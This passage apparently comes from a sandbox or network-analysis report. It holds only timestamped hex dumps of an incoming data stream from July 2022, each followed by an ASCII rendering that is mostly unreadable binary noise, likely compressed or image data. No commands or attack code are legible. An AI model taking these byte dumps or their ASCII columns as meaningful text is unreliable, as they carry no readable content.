80 f1 63 5a f0 5e 19 dd 7b 78 77 6f 8d f9 ba 7f 67 bd a0 36 58 31 f2 84 45 0b 16 0a 44 a8 4d 08 Data Ascii: F]5!a]H?I_+)<#`Z$^h:.@&J?yH"7y>;!mXXIv6$vyw4[t<G>:j<>26:3a]M2^iPl_?B[]~indJ/ [@ij-<wU0i=ccZ^{xwog6X1EDM
2022-07-20 11:24:38 UTC	6132	IN	Data Raw: 8a 80 1c 80 c7 c3 58 ec 66 66 d4 ee 2b df 1f 00 43 76 1a e9 f4 65 9a 26 28 d7 52 48 56 c7 16 50 de f5 19 b2 b0 0d 60 6d dd ae b1 bf 7a 2f 6f cc 8a e5 59 24 6f e1 8b aa 4f ba cf e1 d4 8f a7 f7 6c ef 4c e4 be c9 96 4c 51 4c ff 00 2f da 2e 3c a1 78 8e eb 7e de ab 7f f9 0e 1c e7 1d 71 5d 84 56 84 31 d3 88 1e 37 65 5f de d6 9f 52 6c 78 7b ec 10 e3 e2 64 07 91 5e e0 6c 25 94 01 e6 f2 af 97 59 9b 69 53 cb fe 9f 74 5e f2 13 6b a3 7e 53 77 7c 7f ab 57 55 69 2d ca 03 8d 55 bc 5e f5 66 7d 0b 97 8c 7a f0 64 08 25 5a 95 5f 60 27 8f 86 fe f6 8a 93 23 d5 0b 6c 51 49 8c fd 2e 05 94 57 b7 f8 b2 2c bc b7 2f 7a dd 7b e9 d8 1f 7e 2d 89 1e 50 eb 63 d1 95 98 35 5a 9d 92 f4 dd bf bf ab 1c 29 1b 1a 18 fa 8c ec f3 70 66 28 00 04 7b bf c3 57 f7 b5 47 62 8a 24 9d 2e 88 df c4 38 3b Data Ascii: Xff+Cve&(RHVP`mz/oY$oOlLLQL/.<x~q]V17e_Rlx{d^l%YiSt^k~Sw\|WUi-U^f}zd%Z_`'#lQI.W,/z{~-Pc5Z)pf({WGb$.8;
2022-07-20 11:24:38 UTC	6148	IN	Data Raw: 9a 5f 2e df 8d 91 b9 66 60 15 fe 33 88 ee ed 22 ad 6a ac 9e 7f da d6 82 e2 77 1e 4d c8 97 0c 8f 80 d0 62 2d ac 87 8e a8 e9 e1 92 3e ac 6a 60 8c b8 a7 39 78 af 46 24 f7 4f d3 e1 d3 1d b2 45 30 be 30 40 f2 32 f1 46 24 50 ff 00 36 2f 7d 34 37 fa 06 74 59 67 13 18 48 ec 7b b6 82 7d b6 f3 f9 6d 6e 56 d7 49 d9 3f db 84 08 b9 9b c1 bf 21 29 45 8c d0 70 fe 61 5e f7 d8 d0 37 db f8 b6 69 69 5f 9f b1 2d 93 1f 86 8c 17 31 7b 02 a7 b7 b6 a1 f1 77 ac b4 20 4a ad 38 b4 aa 5d 52 c0 7d 0a fd eb 75 6f b2 66 36 d7 b4 e5 65 65 23 08 24 4b 23 0e 28 4b 48 3a 4e ac 9f e5 f7 97 dc d5 03 42 d8 e3 a9 84 b1 b2 28 a3 28 51 50 3e 0e f6 b5 34 f8 d9 71 f4 a4 56 05 8f 75 6a cb 5f f9 4d af 3b b8 f9 80 dc c6 23 31 fe 58 60 c4 2b 70 d7 26 e4 ee 54 09 51 58 90 2c 6c 57 2a e5 fb ee cd 3c 58 Data Ascii: _.f`3"jwMb->j`9xF$OE00@2F$P6/}47tYgH{}mnVI?!)Epa^7ii_-1{w J8]R}uof6ee#$K#(KH:NB((QP>4qVuj_M;#1X`+p&TQX,lW*<X
2022-07-20 11:24:38 UTC	6164	IN	Data Raw: 7e 67 c9 7f 17 c1 e4 d3 3d b3 37 f3 d8 e4 2c a1 a4 c7 3d 46 0c b7 10 01 bb 87 0e a5 be 65 56 fb ba 84 49 55 5c 1e c2 0d 41 f6 52 9a 62 f9 e7 06 48 c4 71 88 a5 b8 49 d4 52 6e 17 05 e5 49 2b dd d5 a5 da 97 e9 24 2a d9 94 1e 6c 7d 9a 9e 45 37 03 2b f2 d5 6e f5 b9 ee 32 1c 7c 94 31 48 d7 b1 8e 78 94 07 00 72 aa 64 ac 5f 25 9b cb 3f e2 74 ff 00 13 4e 36 0c 98 37 78 f1 e7 cc 8d 65 cb c6 90 2c 80 80 c1 e8 dd bd 9c c9 2c 5c ad 1f 77 ab dc e7 d2 04 c8 5c 88 51 f6 e8 e5 8d 10 12 50 b1 6e 60 c1 be 1b e7 8b 95 a4 58 fa 7e ef 3e aa 7d 29 ea 7c 6c 75 91 a6 c0 53 21 0b 62 44 40 a8 50 dd 49 7f 2c 3a 6e f3 79 dd 39 b9 2f d0 9e 57 93 2c 7c b5 6d 31 cc f4 30 6f 67 e9 e2 a8 54 b7 31 27 d0 4d b9 aa 37 37 f3 5b 84 f2 6d 8b d3 50 ac f2 27 57 90 ad c0 7c a5 9a 5e 6e 97 82 28 dd Data Ascii: ~g=7,=FeVIU\ARbHqIRnI+$*l}E7+n2\|1Hxrd_%?tN67xe,,\w\QPn`X~>})\|luS!bD@PI,:ny9/W,\|m10ogT1'M77[mP'W\|^n(
2022-07-20 11:24:38 UTC	6172	IN	Data Raw: 61 6e 3e cd 33 f4 5e 26 0a 4e f9 59 28 b3 43 13 50 5e 40 1d bc ae c3 5d 76 3d cb 6d c6 c6 69 1e 45 87 11 c9 06 39 94 58 c4 f8 93 a9 e1 d7 27 f4 6f a8 0e cb 04 b1 c2 b0 bc a6 8c a2 44 2c cc 7b 3a 51 5b e7 f3 6a e3 1b d3 d9 3b ae 67 e7 b3 f1 96 4c 99 16 ab 05 85 61 83 e1 17 fc d9 3c f2 be b3 37 91 96 dc 34 c5 dd 59 46 31 a4 6c de 64 99 72 f2 2f ef 57 42 c3 10 2d 6b dc fb 34 79 df 76 7c 58 94 6c af 8f 34 f1 b5 16 8a 14 02 7f 86 85 55 51 62 bb bd a6 11 6f fb 84 ec 22 9f 08 34 ac a5 0c b0 95 e2 7b cd 12 dc 7c bc da f7 07 0e 3d b2 fc 5f cb e3 ca 90 f1 ab 73 30 24 70 4b e9 7c bf 16 b9 ef aa 33 70 f1 b2 cc 99 d1 84 14 a1 58 d2 d1 ff 00 4e 9d ef 79 d7 56 d9 c4 cc 3f 29 c8 29 92 0e 5f cd 8d f2 ef fe 5c 4b ed 7f 9b cd 47 c4 63 93 01 cb de 3d eb d5 2a e7 c1 98 72 36 Data Ascii: an>3^&NY(CP^@]v=miE9X'oD,{:Q[j;gLa<74YF1ldr/WB-k4yv\|Xl4UQbo"4{\|=_s0$pK\|3pXNyV?))_\KGc=*r6
2022-07-20 11:24:38 UTC	6188	IN	Data Raw: d8 28 a1 b4 83 46 ea fc 52 78 be 1d 75 78 33 60 dc 71 98 e3 48 0d bc 29 c4 11 c3 b6 8d cd a3 bd 49 b2 62 7a 8f 60 8b 70 8d 02 e5 e2 c3 43 4a 1a d9 cb 2a 3f bc 9d fd 4f ca da 60 b2 17 62 52 1b 13 1b 75 af fa 89 53 fc 34 62 46 82 d7 1e cd 7e 78 cd c7 91 32 5a 2a 10 41 b4 8f d1 ad 70 62 e4 07 2a aa 4f 29 24 53 d8 3b 7e ee 9d 98 b2 31 b2 ad b1 66 49 09 a8 7f fe 8d e1 6d 37 c6 11 2f 53 2b 04 d0 a4 2e 92 46 48 af 3f 22 c8 8d 5e 75 f0 eb d3 49 31 45 b2 a9 27 1b 8f df aa f9 ea 00 bd ac 7b 7b b5 1b 88 f2 4d 3a 42 86 d2 c4 29 3a 71 74 46 b1 dc a4 f9 98 f6 53 4b 22 85 b1 da b2 0e 6a 56 9f a7 5e e1 e3 99 2e 6a 1e 03 8f e8 d1 1c a3 71 e0 38 55 d9 6e 46 b6 b7 1a 63 85 b9 3c 8c 98 d2 1b 56 e1 75 7b 29 e6 6d 3d da 30 36 fc fc c5 9f 12 52 24 86 4b d9 4f 00 c0 77 dd 6e d2 Data Ascii: (FRxux3`qH)Ibz`pCJ?O`bRuS4bF~x2ZApb*O)$S;~1fIm7/S+.FH?"^uI1E'{{M:B):qtFSK"jV^.jq8UnFc<Vu{)m=06R$KOwn
2022-07-20 11:24:38 UTC	6204	IN	Data Raw: a6 66 74 89 40 0c 2b 56 5b ae 23 c2 ff 00 7b 97 97 41 f9 a4 6c 62 2c bd 9e 9a 67 6f 60 6b a8 e3 66 26 12 91 29 3c aa 38 d3 ff 00 cd ab 7d 9d 24 c6 f5 56 2e e7 b9 08 21 4b c1 20 06 24 d0 11 c5 85 a7 c3 ff 00 e1 2c f3 69 ec f8 3f ea 18 ee 95 68 cb 8a 16 5a dd d8 07 b7 50 db 46 c3 2e c3 b8 d0 4a b9 10 46 43 38 53 4a 8a dc 63 95 b9 ba 7f 86 bf 77 5e 4f 65 2e d9 e0 92 29 54 09 0f 03 d3 f7 bd fa 66 4c 81 cd 75 f4 8a 8c df 46 4c d9 39 8c 11 da 15 c8 b9 e8 18 05 66 af 2c 8a dd c7 4e 7e fe 92 07 8d 14 a0 6a 3f 1a d7 b2 9e cd 75 6c cc 9c 5c c7 cd 97 36 c9 b0 07 3d 52 21 14 a1 b9 57 a5 20 c6 1c b2 27 8f ab f2 26 ef 47 25 cd ae 63 b9 be 14 79 37 63 06 29 71 ef 53 bb e0 e7 fe 27 dc 4d 7a ed a1 b1 30 95 25 14 00 8f 6e 57 f8 be 1a 45 b5 3a f6 eb 6a 1a 1c d7 58 e4 48 a4 Data Ascii: ft@+V[#{Alb,go`kf&)<8}$V.!K $,i?hZPF.JFC8SJcw^Oe.)TfLuFL9f,N~j?ul\6=R!W '&G%cy7c)qS'Mz0%nWE:jXH
2022-07-20 11:24:38 UTC	6211	IN	Data Raw: 62 bb 58 40 89 4e 28 35 ff 00 53 db 7f 13 d4 3c b6 92 ef c6 f6 fb 7d 34 8b 6d 29 24 a5 a5 56 99 dc 1a 82 78 93 e6 bf 5f 26 52 e3 ca 41 46 07 e8 fa b4 4e cd 22 ab b7 4d ac 2a 48 57 65 aa 9f f9 ab e0 f8 d7 5e 7a 95 16 37 8d 51 48 76 5b 89 a7 d2 7c 2d e2 5d 1a f7 7f fe 7f ab 52 cc 33 0a 47 55 ec 7d 15 bb 12 6c 2c 8c 85 33 56 b5 ad 1b 85 4f 96 bd dd 63 8c 91 3e 58 58 9a 90 96 ef 1e f2 2f be 3c 56 eb 4e 74 10 26 14 33 33 83 92 ee 78 0e cb 14 0b 5b e2 79 35 a6 3c 95 8e 3b 81 00 1f 60 06 b5 fa 2e d4 5d 5e ee b7 0c 2e 99 7d 47 ba ad 55 68 f4 e5 e1 e8 3d 37 aa cd d2 b8 09 fe 99 13 54 cc 43 5f 4e 04 8e 74 5f 85 f4 2e cf bb cb b3 e4 45 91 0c 8b d5 49 03 30 6e 00 8a 59 d3 f8 2d ef 69 54 33 3e e3 de 91 9e c1 40 09 24 af d1 f6 74 76 1e 5b ec 6e f8 cf d2 97 1a 74 56 66 Data Ascii: bX@N(5S<}4m)$Vx_&RAFN"M*HWe^z7QHv[\|-]R3GU}l,3VOc>XX/<VNt&33x[y5<;`.]^.}GUh=7TC_Nt_.EI0nY-iT3>@$tv[ntVf
2022-07-20 11:24:38 UTC	6227	IN	Data Raw: bf dd d5 3b 64 0c 98 b1 e6 2c 63 08 b4 b4 54 f2 f2 f5 2f f1 dd c9 f0 3a ea 7f 79 c1 7c da b4 24 05 88 00 b4 00 02 2e 58 b8 fb d7 73 73 73 f9 b4 d7 19 d3 02 a8 b2 b4 88 43 f2 9e 02 80 5c b5 5f f3 15 6d 6f e5 fd ad 25 28 0d 12 5b 56 5c b4 a7 87 59 f4 1b 56 ad c2 49 72 9d 04 75 10 c6 a4 b9 a9 a7 cc 0b 2f d9 e5 65 46 4f ef 69 1e e0 b1 a5 ce 51 94 8b 5b 81 14 1c 6c 35 f7 b5 59 85 90 60 c7 ca ad 0a b7 49 c5 c3 94 37 1a dd f1 2c 6b 66 a7 b2 a4 fc fc a8 24 a2 c2 c4 b7 1f 61 3d f6 b7 e1 48 f5 6d bb 10 d6 b5 95 3b 7d 3f cc a8 90 7a f5 35 8e 0e 43 b4 76 fb 1b b7 b2 a3 47 47 9c 9d 11 d3 8d 18 13 6d 69 53 5a fb 3c ba 49 9f 96 30 59 95 b9 24 00 8b 7b 2a 08 d6 1b 6e 51 c8 c7 55 6e c5 e0 38 7b 6b a6 1b 6e 59 7c db 72 de a8 af 6e 5a 7a b8 52 11 40 09 15 05 ae f6 0d 0b 36 Data Ascii: ;d,cT/:y\|$.XsssC\_mo%([V\YVIru/eFOiQ[l5Y`I7,kf$a=Hm;}?z5CvGGmiSZ<I0Y${*nQUn8{knY\|rnZzR@6
2022-07-20 11:24:38 UTC	6243	IN	Data Raw: ce f1 7c 1a d9 81 15 b8 d2 b6 07 34 d6 32 1a 77 ca b1 e7 60 bf 07 2f 2f 85 b4 ff 00 64 92 18 f1 72 51 8a f4 a6 48 81 56 3d be 6f 7b e2 d5 1a 46 66 2c b6 e4 64 40 1f 8f e6 37 96 cd f7 eb 98 47 1a fe 52 dc 8b b3 05 e5 6e 5f cc c6 a4 70 b1 e4 c7 46 7b 7a 8e dc 29 ec b6 9d eb fd dd 3d d8 3f 31 97 5c 29 24 22 1c 85 08 e2 b5 01 6b 55 b2 be 25 d0 f9 7b 6c 9b 3c 92 e1 a5 68 c6 a8 7d c2 2f ed d6 97 c9 c7 9a 27 c3 89 99 2f 65 26 4a 56 81 7c 1e 6e f3 77 b4 7d d4 49 8d 9e ec c7 50 2d d1 e0 6f 83 ab f0 55 3c e3 27 34 63 b3 53 fb b4 b7 37 0d 71 32 24 48 1c bc 6a ec 23 7e cb 94 1e 57 fb 5a d4 ea 20 5a 37 02 7d 9f a7 8e aa b7 4f 4f e3 6d f0 e3 2e 24 e2 43 24 57 4a cc 7c 44 9b 15 55 6e ee ae a7 a7 58 b1 5b f2 f9 42 a1 85 43 0e d5 3a bc 2c 25 81 5c 86 21 b8 33 0c 09 c3 97 Data Ascii: \|42w`//drQHV=o{Ff,d@7GRn_pF{z)=?1\)$"kU%{l<h}/'/e&JV\|nw}IP-oU<'4cS7q2$Hj#~WZ Z7}OOm.$C$WJ\|DUnX[BC:,%\!3
2022-07-20 11:24:38 UTC	6251	IN	Data Raw: b9 a9 5a 0b 9b bd e6 f0 a2 e9 b0 f4 36 f3 b8 c9 73 c0 ed 92 45 48 5b 48 5a 72 db 2f 32 f4 fe d6 b4 1d 87 77 67 30 c7 74 92 63 8b a6 88 29 b9 07 8a eb 79 7b be f6 9b 07 23 6d 2d da 4d 1b c8 17 69 17 9d 6d cb aa e5 8f b6 b9 72 49 ec 54 dc 59 10 ad 4c a8 4d 45 05 0d 38 e8 cc 8b 92 18 51 b8 12 6e a7 d5 fa 75 53 e9 df 43 9d fd 5f a0 82 3e 88 24 bb 13 6b 7d 09 6a dd cd a2 f7 ff 00 41 6e 87 11 73 a6 e9 47 61 01 63 35 ea 11 d8 1d bd df 73 43 69 63 f4 8f ae b9 fe 5a d0 97 8a 46 5f 32 d8 84 1e 33 dd e6 e5 e9 ae 7d 98 8e b1 97 8d 5a d1 4a fd 1a 1b 1f 11 b2 63 79 41 a2 c6 2b 4a 76 ff 00 5f 87 5d 54 7a 17 70 dc 30 96 18 8a 82 e2 85 78 77 a9 dd f3 6a 73 17 d1 d9 c3 12 68 c9 55 28 e5 1a a6 9c 47 7b b3 52 92 46 c8 1d 48 60 47 11 50 7e 5c 53 11 13 09 85 ae d8 f7 1b 9b 92 Data Ascii: Z6sEH[HZr/2wg0tc)y{#m-MimrITYLME8QnuSC_>$k}jAnsGac5sCicZF_23}ZJcyA+Jv_]Tzp0xwjshU(G{RFH`GP~\S
2022-07-20 11:24:38 UTC	6267	IN	Data Raw: 97 ee 69 33 00 24 aa 9e 62 74 5b 71 ca 82 bf 23 c9 11 bc d5 06 5b 64 9d f8 f2 ea a9 54 c4 ca c3 81 b3 44 0c 21 1c ac c2 86 95 f8 bb ba 22 6d b6 69 16 09 25 4e 9a d2 d7 20 d6 45 14 b9 5a 41 fc 3f 72 ed 50 ef 18 bb 86 53 cd 3c c2 ae a8 bd 68 ef 05 e9 18 8c 99 5d 2b f3 23 6b 6f b9 6f f3 6b 3c 0d e3 39 b1 e7 8e 51 29 89 f1 dd 4f 21 35 af 2a f3 53 bb d4 6d 30 9b 68 83 64 72 b8 5c ae dc b7 c7 aa 9f 8f e4 1b 74 fc c3 27 98 aa 11 9a 3c b1 cb c6 b9 7e 1a 9c 3b 4e d9 d1 75 37 c7 22 86 2b 25 d5 fa d5 5e 2a 5a df 67 a7 a1 76 48 71 c8 2f 95 0b ba 52 89 47 b7 8f 89 fb 1b 4f 33 93 34 63 1d b2 61 f9 78 b2 15 48 b9 41 14 bb f1 ae 5e fb f9 ad e6 fe 1e 8b dc 36 18 70 a1 55 c6 73 24 90 5a 84 a9 b8 38 7f c3 e4 b5 5a 1e 6e 57 ff 00 99 a9 9a 36 2a 64 6b e2 0d ec bc aa bf e9 d6 Data Ascii: i3$bt[q#[dTD!"mi%N EZA?rPS<h]+#kook<9Q)O!5Sm0hdr\t'<~;Nu7"+%^ZgvHq/RGO34caxHA^6pUs$Z8ZnW6*dk
2022-07-20 11:24:38 UTC	6283	IN	Data Raw: e3 ae 2a a4 76 fd 75 0f 99 e9 ad ea 19 1a 31 87 34 f1 8e cf 60 27 de 2a dc f6 f9 b5 a7 33 d3 db 8e 5a a3 e2 6d 73 61 64 44 2a e4 31 2a d4 ee ba 5f 73 75 6e d7 40 8b d4 53 0e c7 4f d0 c0 8f fc 35 97 ff 00 25 c8 5e d0 8d f4 10 68 34 65 f9 96 ed 6e 04 51 dc fb ff 00 b5 50 51 09 24 f6 8b 11 51 a9 b8 6e 90 64 22 ee 38 33 cd 2a 8a 19 d8 3d c0 53 ba 15 16 cb 7f 6b 48 7d 7d be 3e 54 50 e2 3a 74 df f1 18 18 d9 1b ca 8b f3 3b c9 ae ac 9e a4 95 09 24 13 51 c0 02 38 1d 22 de 9a 3d f4 91 99 14 72 7d 05 94 5d f7 86 af b3 de 2c 7b 94 9a 48 40 09 e0 7f d5 6a b6 2b 63 cd d9 61 5c 4a 39 6b 4a 9a fd 5a eb 3f ed f6 da fb c6 d8 d8 d1 7c bf 9b 57 96 d6 26 da 77 17 a7 6f 36 83 5f 47 6d c3 83 c2 9c 7e 86 60 7f f1 d5 76 c1 27 fa 06 38 c6 c0 5b 62 0c 5a 9d a6 a7 f4 f3 6b 5b 7f f3 Data Ascii: vu14`'3ZmsadD1_sun@SO5%^h4enQPQ$Qnd"83*=SkH}}>TP:t;$Q8"=r}],{H@j+ca\J9kJZ?\|W&wo6_Gm~`v'8[bZk[
2022-07-20 11:24:38 UTC	6290	IN	Data Raw: 43 09 d5 04 e9 5b 6d 51 1d bd 58 e2 b5 6e 89 59 3f 87 76 95 e4 ec f3 41 5c 39 4a dc c0 15 90 10 ca 53 f1 0c 91 49 e2 4b 53 f7 34 cf 07 d3 f8 79 78 6b 91 8d 34 98 c6 9d 36 bf e6 07 b8 d8 39 63 08 f1 ad df 89 f8 9c 9a 14 53 06 ca 37 ea bb 29 53 ee b3 d0 e6 9e 09 a3 cc f1 47 18 48 83 2c 7b e9 97 7b e1 a4 8f d0 cc 00 1e 59 d4 5b 71 60 16 d3 e6 bb 97 97 4b 66 d9 33 31 e7 38 ce 97 ca 28 43 45 ce ae ad cc 8f 1b 27 87 be bf 63 4e 66 f4 d7 24 b1 c1 93 0c 8f 0b f3 a2 96 ad b5 b6 f8 ef 44 46 54 ef c9 e2 d3 4d bb 73 87 26 49 76 f5 e1 04 51 9b 64 a7 31 29 fc 45 6e f2 f9 fe d6 82 a0 42 a1 f5 57 1a 9f 00 ff 00 15 41 0e b2 0d ce d6 47 18 ff 00 1a 22 39 30 e5 ee b7 8e a6 a0 8b f2 a1 f1 72 cb 42 1a 8a fc bc c3 88 7f c3 7b 34 e3 78 da b6 fc 30 8f 86 e6 50 c8 6a 6b d8 c2 de Data Ascii: C[mQXnY?vA\9JSIKS4yxk469cS7)SGH,{{Y[q`Kf318(CE'cNf$DFTMs&IvQd1)EnBWAG"90rB{4x0Pjk
2022-07-20 11:24:38 UTC	6306	IN	Data Raw: c9 8f da e7 ab 33 33 65 ae ac 08 07 d1 96 35 5d bb fa 9e 43 29 31 80 e9 16 4c 68 92 10 6c a0 e1 23 f9 6e 79 39 57 e1 d6 4b ea c8 b2 b7 5c 8c 4b 96 da 24 68 f5 e5 36 9b a6 fd ad 42 bc eb 3e 3c 5b 64 ec 62 98 a0 92 24 73 c8 0f 95 9b cc cb e6 d6 b8 30 e5 c6 c5 92 45 25 1a 26 e7 72 3d 84 f7 59 bd ff 00 0e 86 bf 2e 87 1c 48 b3 74 af dd fc cf b9 f8 ab a4 91 8f 0d 0b 58 7d 43 2c ab a0 6e de bf 58 32 db 17 09 04 e9 08 ac 85 3b 49 f2 a5 dc bd 35 fe 23 fd cd 34 cb f5 5e df 8f 8f 24 f4 25 a3 21 68 17 b5 88 be d4 f3 5b e3 d7 19 cf cd 92 90 98 63 11 8a 51 a4 01 be 6b 56 f6 63 23 77 97 e1 d3 dc 53 0e 40 9a 2e bf 4c e4 48 1d ee 21 80 23 b6 26 9b 95 ad bb ca bf 7b 4e c1 fe d6 6d d2 8f 25 79 a3 00 ba e5 84 92 2f 8f e9 e2 a6 b6 f1 6e 37 52 11 0a 65 65 0c 53 d8 e6 e6 ae a9 Data Ascii: 33e5]C)1Lhl#ny9WK\K$h6B><[db$s0E%&r=Y.HtX}C,nX2;I5#4^$%!h[cQkVc#wS@.LH!#&{Nm%y/n7ReeS
2022-07-20 11:24:38 UTC	6322	IN	Data Raw: 01 88 56 cc f0 5e 6a b9 d5 6d da 74 ae a9 b4 82 61 c6 c5 b4 34 90 20 22 40 28 a5 4a 1e af d8 e4 47 d5 40 88 e4 e3 ae 1d 79 19 0d 0f d6 87 53 cf b9 b6 06 44 29 65 ff 00 25 81 1d 94 bb cd ee c7 fe 1d 7b bd 66 65 e1 60 e1 65 42 e4 32 92 64 23 8d 0b 7c d5 57 f7 79 b5 e2 a5 8d e5 75 b5 97 33 75 bf 8b 9d be 9e f5 04 11 6e 34 c7 33 13 fd 4f 13 35 a3 00 ca f2 14 42 07 90 05 fd bd 6d da b6 9f c9 f4 a2 0c 48 88 bf 69 a9 25 bb f7 7d cd 69 d8 32 64 e9 c5 8e c2 b1 ca 4b 5c 2b 5b aa 5d ea da 33 03 2c 48 ef 3b 70 00 50 0f d3 c5 b4 bc 86 45 0d 18 3c a0 e9 ff 00 95 5c 4f 6f e8 ad 32 6e 31 e4 f5 3a 4e 44 b6 98 cf 1a 53 8b 48 cd ff 00 4d 74 b1 72 e3 93 05 25 ed 7c dc 8f 94 87 89 11 2b 5a cf fb 72 bf f9 92 69 44 ca 18 cd 13 3a c2 ac d7 19 1b c2 86 fb fa 63 bc d2 3a b5 96 2e Data Ascii: V^jmta4 "@(JG@ySD)e%{fe`eB2d#\|Wyu3un43O5BmHi%}i2dK\+[]3,H;pPE<\Oo2n1:NDSHMtr%\|+ZriD:c:.
2022-07-20 11:24:38 UTC	6327	IN	Data Raw: 1c 0f 0a 57 b0 dd 3b 0e a7 0b 72 56 df d0 14 da df af 76 8d c5 82 4c 76 78 cb 0e aa b3 c8 a4 7d 37 2b ad 3e ce b0 c0 66 c2 38 eb 0d ac 1d f9 b8 54 85 ef 3b 2f c0 bd ed 67 b7 d4 07 74 65 ea 53 94 b7 65 5a d2 cb fb ba 99 49 25 98 5b 13 c0 55 43 10 e1 3b 6c 7e ee 14 2a 43 1a cc b1 a9 24 ce 5c 92 7d 82 95 44 fb da 2f 61 db 8a a3 64 c8 41 ac 92 35 7e ba 5a 3e ef 53 59 c5 87 ff 00 79 0c cb dd 8d 99 58 7d 1c 3a 89 a6 d8 d0 08 f6 e3 6f 0a 4c e4 7d fd 0a 69 ac a1 41 eb b0 3f 7e 8a 01 20 9f 40 ff 00 b6 a7 63 ce 7c 8d ce 25 71 48 d9 e4 5a fd 21 09 e1 fb 3a df b8 c7 3b 44 c3 80 8e 59 04 a4 9e f5 b5 40 ff 00 66 fe 5d 6e 1b 5c 9b 76 41 15 ba 00 5e 60 4d 3b c4 32 59 f6 2e fd 9d 7b bd 46 99 18 f1 4a 58 dc 23 11 05 1e db 80 67 fd 4f d7 d5 b3 53 22 61 6c 6d c6 ab a8 52 06 Data Ascii: W;rVvLvx}7+>f8T;/gteSeZI%[UC;l~*C$\}D/adA5~Z>SYyX}:oL}iA?~ @c\|%qHZ!:;DY@f]n\vA^`M;2Y.{FJX#gOS"almR
2022-07-20 11:24:38 UTC	6343	IN	Data Raw: c6 2e 14 63 ec 40 a4 7e d6 bb cb 0a 75 8b 51 c2 dc d5 d7 a0 57 3f 20 71 a1 53 ed 35 14 fe dd 65 0c 8f 90 d6 aa b1 34 fa 09 3a 31 f7 1d be 48 fa 65 2a 09 ab 0b 41 ec d0 6f 9b 0b 54 e3 a0 43 c3 89 1f fd ed 14 5c f0 42 a6 bb ea a7 30 ed b9 ae a1 18 80 87 8d 19 7b 0d 3e d6 80 c8 8a 7a 13 30 42 29 40 ac 07 dd ae 86 7d c6 70 4a a3 b1 52 3b 18 f1 d0 8b 36 4c 8d 45 ab 8a f6 9f a7 50 91 bf 13 88 fd 15 c3 41 5b 24 28 ed 7c 6a a0 0f 62 9a 7d eb 6d bb 58 bc 97 9b 8f b0 52 bf 56 b5 48 f2 54 89 14 87 ec d6 a1 1d d4 00 d0 76 f1 d3 01 6b 8b 7a 68 89 24 01 83 29 60 6b ec 27 b4 7c 3a ca 37 32 49 74 f4 70 40 a5 5b 88 20 fd 2d a1 e4 2c 9f 86 c9 21 3e d5 6b 87 f8 75 f0 bb da 2b c3 88 ed d1 24 85 e2 38 48 0a 37 85 b9 5a a0 37 68 34 5a e4 3c 2d 58 41 55 24 fb 6b 41 fd 7a de 9b Data Ascii: .c@~uQW? qS5e4:1He*AoTC\B0{>z0B)@}pJR;6LEPA[$(\|jb}mXRVHTvkzh$)`k'\|:72Itp@[ -,!>ku+$8H7Z7h4Z<-XAU$kAz
2022-07-20 11:24:38 UTC	6359	IN	Data Raw: 07 b8 9c 6d d2 66 8b 27 14 e1 ce 7f 15 18 32 a9 7e f5 6f 8d b9 2e ef 7e 0a 2f bf a4 7b e3 61 6d 19 f2 24 d7 4e 03 1b 15 bb ed ff 00 3a 46 e6 e9 a3 78 ae be 4f 05 bd ed 1c 7d 48 de a7 99 20 9c 24 33 aa 14 c7 60 38 54 0e 48 24 bb e6 48 8d 6f 23 34 9c 8f ab 94 43 b6 0d 19 75 0a 03 ae 9c 7c 58 fb bd fa 34 85 de c0 73 37 a2 fc 3d d7 fd 4a dd d0 c7 d9 d9 25 92 65 8c 54 54 13 7d be da fc ab 9d d7 f5 ee e5 6d 6a dd 37 f4 44 59 25 05 a7 9c 92 02 d0 71 ad d7 71 f7 9f 51 7b 9a e5 e3 e4 37 fa 87 0b 56 f5 a7 74 8f 0b 25 34 5e e1 31 26 19 d8 70 8a 3b e9 f5 b7 87 5c 36 6a 4a 33 b6 64 df 98 70 f6 56 b8 5f 87 f7 56 f9 f3 64 fa 6b d3 e1 5f a7 4c f6 d6 ae 04 90 05 26 66 93 a9 75 7c 16 b5 c9 4f 8b 9b ec 79 b4 ab 30 a3 22 b4 5c 63 91 6e 43 f5 1f de 56 e5 6d 16 0c df 91 92 48 Data Ascii: mf'2~o.~/{am$N:FxO}H $3`8TH$Ho#4Cu\|X4s7=J%eTT}mj7DY%qqQ{7Vt%4^1&p;\6jJ3dpV_Vdk_L&fu\|Oy0"\cnCVmH
2022-07-20 11:24:38 UTC	6367	IN	Data Raw: 11 18 e2 53 d3 ef 57 ff d5 e9 b1 65 09 63 b4 10 25 3c ad fa 40 bb f6 75 89 4b 40 60 b7 c4 8c 18 7d 22 bc a6 eb bc 0b 1b 69 4e 0c 02 39 9d 72 1d 5a 20 58 43 14 47 87 31 e7 93 25 5f bf 37 77 c7 a6 30 e7 63 36 42 e2 28 61 2d aa 68 47 02 29 6a f7 b9 1b e1 4e 7d 7c 7d e2 09 d1 cc 2d 91 b7 76 b4 b4 ec e3 58 44 d0 4f 2b 04 04 3d f6 b0 20 7b 39 8d 3f a7 83 42 49 84 31 67 79 52 4a 1b 81 2a c6 82 a7 9a 3b 4d bf 31 9f bb 67 9f 4d 0e d9 13 64 8c c2 1a f5 a8 01 78 0e 22 8d 77 9b dc d6 d9 33 31 a2 fc 43 c4 b2 aa dd ed 27 b9 67 87 50 24 d6 d1 82 d7 1c cb 5c 3f bf b6 91 4d bc e2 c4 1c 4e 8d 02 c6 a6 95 14 25 eb cf d3 fe 65 9f d3 c5 a2 0c cf 9b 14 0f 8a 2f 46 f9 b5 3c 05 1b 95 62 7f 12 bb 5d f6 2d d7 9b c1 c1 9a 9b 84 f1 1c 83 8c c7 a6 2a 78 35 42 dc a9 e3 b5 a3 f8 75 b7 Data Ascii: SWec%<@uK@`}"iN9rZ XCG1%_7w0c6B(a-hG)jN}\|}-vXDO+= {9?BI1gyRJ;M1gMdx"w31C'gP$\?MN%e/F<b]-x5Bu
